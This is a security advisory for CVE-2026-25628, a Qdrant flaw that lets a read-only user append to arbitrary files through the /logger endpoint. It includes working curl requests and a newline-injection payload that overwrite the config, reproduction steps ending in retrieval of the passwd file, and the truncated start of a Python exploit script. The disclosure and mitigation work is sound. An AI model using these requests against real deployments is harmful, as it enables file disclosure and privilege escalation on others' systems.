qdrant has arbitrary file write via `/logger` endpoint
High8.5CVE-2026-25628 · Published Feb 5, 2026 · updated Feb 6, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| qdrant crates.io | >= 1.9.3, < 1.15.6 | 1.15.6 |
Details and references
### Summary It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5 ### Details `POST /logger` ([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195)) endpoint accepts an attacker-controlled `on_disk.log_file` path. There are no authorization checks (but authentication check is present). This can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml. After running the PoC, the content of `config/local.yaml` will be: ```yaml 2025-11-11T23:52:22.054804Z INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422 2025-11-11T23:52:22.056962Z INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui service: static_content_dir: .. 2025-11-11T23:52:22.057530Z INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391 ``` Some junk log lines are present, but they don't matter as this is still valid yaml. After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path. Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint). Relevant requests: 1. Enable on-disk logging to the config file: ```bash curl -sS -X POST "http://localhost:6333/logger" \ -H "Content-Type: application/json" \ -d '{ "log_level":"INFO", "on_disk":{ "enabled":true, "format":"text", "log_level":"INFO", "buffer_size_bytes":1, "log_file":"config/local.yaml" } }' ``` 2. Inject YAML via a request that logs newlines (URL-encoded): ```bash curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Full reproduction instructions 1. Start Qdrant with a writable configuration directory: ```sh sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5 ``` 2. Run the exploit: ```sh % python3 exploit.py --url http://localhost:6333 [+] Logger configured [+] Log injection successful [+] Logger disabled Restart Qdrant cluster and press Enter to continue... ``` 3. Restart the container: ```sh sudo docker restart qdrant-poc ``` 4. Resume the exploit: ```sh <press Enter> [+] Passwd file retrieved -------------------------------- ... -------------------------------- [+] Config file retrieved -------------------------------- ... ``` ## Mitigation 1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely). 2. Restrict the path of the log file to a dedicated logs directory. This vulnerability does not affect Qdrant cloud as the configuration directory is not writable. ## Exploit code ### `exploit_privesc.py` ```python import requests import sys import argparse parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API") parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333") parser.add_argument("--api-key", required=False, help="API key") args = parser.parse_args() url = args.url headers = {} if args.api_key: headers["api-key"] = args.api_key s = requests.Session() s.headers.update(headers) res = s.post( f"{url}/logger", json={ "log
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-73
- Also known as
- CVE-2026-25628
- github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f
- nvd.nist.gov/vuln/detail/CVE-2026-25628
- github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1
- github.com/qdrant/qdrant
- github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195
More qdrant advisories
All| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 22024 | qdrant is vulnerable to path traversal due to improper input validation in the `/collections/{name}/snapshots/upload` endpoint CVE-2024-3584Critical9.8fixed in 1.9.0 | Critical9.8 | 1.9.0 |